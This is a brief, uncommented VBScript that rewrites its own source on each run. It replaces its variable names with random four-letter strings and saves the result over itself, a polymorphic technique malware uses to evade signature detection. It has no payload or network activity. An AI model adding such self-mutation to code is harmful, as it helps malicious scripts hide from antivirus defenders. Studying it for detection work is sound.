RANDOMIZE
Set PAGT = CreateObject("scripting.filesystemobject")
FUNF = PAGT.OpenTextFile(wscript.scriptfullname,1).ReadAll
WScript.Echo PAGT.GetFile(wscript.scriptfullname).Name
IKCS = Array("PAGT","FUNF","IKCS","GJHF","AVRR")
For GJHF = 0 To 4
a = Chr(Fix(Rnd*25)+65) & Chr(Fix (Rnd *25)+65) & Chr(Fix (Rnd *25)+65) & Chr( Fix( Rnd*25)+65)
FUNF = Replace(FUNF,IKCS(GJHF),a)
next
PAGT.opentextfile(wscript.scriptfullname,2,1).write FUNF
